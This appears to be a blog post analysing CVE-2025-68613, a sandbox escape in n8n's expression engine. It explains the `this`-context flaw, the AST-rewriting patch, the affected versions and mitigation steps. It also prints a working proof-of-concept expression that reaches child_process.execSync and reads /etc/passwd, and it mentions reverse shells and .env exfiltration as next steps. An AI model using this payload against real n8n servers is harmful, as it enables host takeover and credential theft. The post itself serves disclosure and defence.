Unchaining the Beast: How One Line of JavaScript Broke n8n Wide Open
Jan 21, 2026·7 min read·9 visits
Executive Summary (TL;DR)
n8n, the popular workflow automation tool, failed to properly isolate the `this` context in its custom expression evaluator. By wrapping malicious code in an Immediately Invoked Function Expression (IIFE), attackers can access the Node.js `process` object, import `child_process`, and achieve full RCE on the host server. CVSS 10.0.
A critical Remote Code Execution (RCE) vulnerability in n8n's expression engine allows authenticated users to escape the JavaScript sandbox and execute arbitrary system commands via crafted IIFEs.
The Hook: The Glue That Holds the Internet (and Your Doom) Together
n8n calls itself the 'fair-code workflow automation tool.' It is the digital duct tape connecting your Salesforce to your Slack, your Postgres to your Google Sheets. It sits in the middle of your infrastructure, holding the keys to everything. API tokens, database credentials, webhook secrets—it's all there, flowing through the pipeline in plaintext memory.
Now, imagine if I told you that the very feature making n8n powerful—the ability to write custom JavaScript expressions to manipulate data—was also its undoing. It's the classic tale of "Feature vs. Security." To make the tool useful, developers gave users the ability to write code. To keep it safe, they tried to sandbox that code.
But JavaScript sandboxing is notoriously difficult. It's like trying to hold water in your hands while doing a handstand. Eventually, something leaks. In CVE-2025-68613, that leak wasn't just a drip; it was a firehose connected directly to the underlying Node.js runtime. If you run n8n, you didn't just have a workflow engine; you had a remote shell waiting for a command.
The Flaw: Who Owns 'this'?
The vulnerability lies deep within the @n8n/tournament library, the component responsible for parsing and evaluating those handy {{ ... }} expressions you use to map JSON fields. The developers implemented a sandbox to prevent users from accessing global objects like window, global, or process. They stripped away the obvious handles.
However, they forgot about JavaScript's most slippery concept: context (specifically, the this keyword). In JavaScript, the value of this is determined by how a function is called. If you define a function and call it immediately (an IIFE) without binding it to a specific object, the default behavior in non-strict Node.js environments is for this to fall back to the global context.
Here is the logic failure: The sandbox blocked direct access to globals, but it didn't sterilize the context of functions defined inside the user's expression. By wrapping their payload in (function(){ return this; })(), an attacker could bypass the filter entirely. The inner function wakes up, looks around for its owner, finds none, and defaults to the Global Object. From there, it's game over. It is a textbook scope escape that static analysis tools often miss because valid JavaScript behavior looks exactly like a security flaw.
The Code: The Smoking Gun
Let's look at the fix to understand the break. The patch (commit 08f332015153decdda3c37ad4fcb9f7ba13a7c79) introduces a new class called FunctionThisSanitizer. It is essentially a piece of AST (Abstract Syntax Tree) middleware that intercepts user code before it runs.
The developers realized they couldn't just regex their way out of this. They had to rewrite the code structure itself. Specifically, they started looking for FunctionExpression nodes (standard function() {} blocks).
The Fix Logic:
Whenever the sanitizer sees a function being defined, it forcibly rewrites the call site. It changes a standard invocation into a .call() or .bind(), explicitly passing a dummy context.
// Vulnerable (Before)
// The user writes this:
(function() { return this; })()
// The engine executes it as-is.
// 'this' becomes Global.// Patched (After)
// The user writes this:
(function() { return this; })()
// The sanitizer rewrites it to:
(function() { return this; }).call({ process: {} })
// 'this' is now a harmless object containing an empty process dict.Furthermore, they expanded the unsafeObjectProperties blacklist. Previously, you might have been blocked from accessing process. Now, even if you get an object handle, they explicitly block access to mainModule, binding, and _load—the internal guts of Node's module loading system. It is a belt-and-suspenders approach: prevent access to the global scope, and just in case you get there, burn the bridges to the child_process module.
The Exploit: Escaping the Matrix
Exploiting this requires a valid account, but in many organizations, n8n access is broadly shared among marketing and ops teams. All we need is permission to create a workflow. We add a simple "Set" node or "Edit Fields" node, which allows expression input.
Step 1: The Probe
First, we confirm the leak. We inject a simple expression to see what this returns.
{{ (function(){ return this.constructor.name })() }}If the output is Object or implies a global context, we proceed.
Step 2: The Escalation
We need to get to child_process. Direct access is likely blocked, so we traverse the object graph via process.mainModule. This property often holds a reference to the entry point of the application, which has a require function capable of loading new modules.
Step 3: The Payload
We construct the final payload. We wrap it in an IIFE, traverse to require, load child_process, and fire a synchronous command. We use .toString() to ensure the output is rendered in the n8n UI, giving us immediate feedback.
{{
(function(){
// 1. Grab the global process object via 'this'
var p = this.process;
// 2. Access the main module's loader
var require = p.mainModule.require;
// 3. Load the system command executor
var exec = require('child_process').execSync;
// 4. Pwn
return exec('cat /etc/passwd').toString();
})()
}}When the workflow executes, n8n parses the JSON, evaluates the expression, and unknowingly hands the attacker the contents of /etc/passwd. From here, it's trivial to establish a reverse shell or exfiltrate the .env file containing all the juicy secrets n8n manages.
The Impact: Total System Compromise
This is not just a "read-only" vulnerability. This is full Remote Code Execution. Because n8n often requires extensive permissions to function (network access to APIs, disk access for local files), the n8n process usually runs with significant privileges.
Lateral Movement: n8n is the hub. From the compromised host, an attacker can pivot into internal networks. Since n8n is configured to talk to your internal Postgres, Redis, and internal APIs, the attacker essentially inherits all those trusted relationships.
Data Exfiltration: n8n stores credentials (API keys, OAuth tokens) in its database. While they are encrypted at rest, the running process has the decryption keys in memory. An attacker with RCE can dump the memory or simply query the database and decrypt the credentials using the keys found in the environment variables.
Persistance: It is trivial to modify a workflow to run a backdoor every hour. Even if the vulnerability is patched later, if the attacker left a "cron job" workflow running a reverse shell, they keep their access.
The Fix: Patch or Die
If you are running n8n versions between 0.211.0 and 1.120.3, or 1.121.0, you are vulnerable. The fix was released in 1.120.4 and 1.121.1 (and subsequent versions like 1.122.0).
Immediate Actions:
- Update Immediately: Pull the latest Docker image. Do not wait for a maintenance window. This is a CVSS 10.0.
- Rotate Credentials: If your instance was exposed to the public internet, assume it is compromised. Rotate all API keys, database passwords, and OAuth tokens stored within n8n.
- Network Isolation: Ensure your n8n instance is not directly exposed to the internet. Put it behind a VPN or an authenticated reverse proxy (like Cloudflare Zero Trust). n8n's built-in auth is good, but defense-in-depth is better.
Developer Takeaway: Never trust this. If you are building a sandbox in JavaScript, you are probably doing it wrong. Use established libraries like vm2 (though even that has history) or, better yet, isolate user code in completely separate processes or WASM containers where memory corruption cannot leak into the host.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n-io | >= 0.211.0, < 1.120.4 | 1.120.4 |
n8n n8n-io | = 1.121.0 | 1.121.1 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS v3.1 | 10.0 (Critical) |
| CWE | CWE-913 (Improper Control of Dynamically-Managed Code) |
| Attack Vector | Network (Authenticated) |
| EPSS Score | 0.73859 (High Probability) |
| Exploit Status | Proof of Concept Available |
MITRE ATT&CK Mapping
The application does not properly restrict the ability of an attacker to modify or provide code that is dynamically executed, leading to arbitrary code execution.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.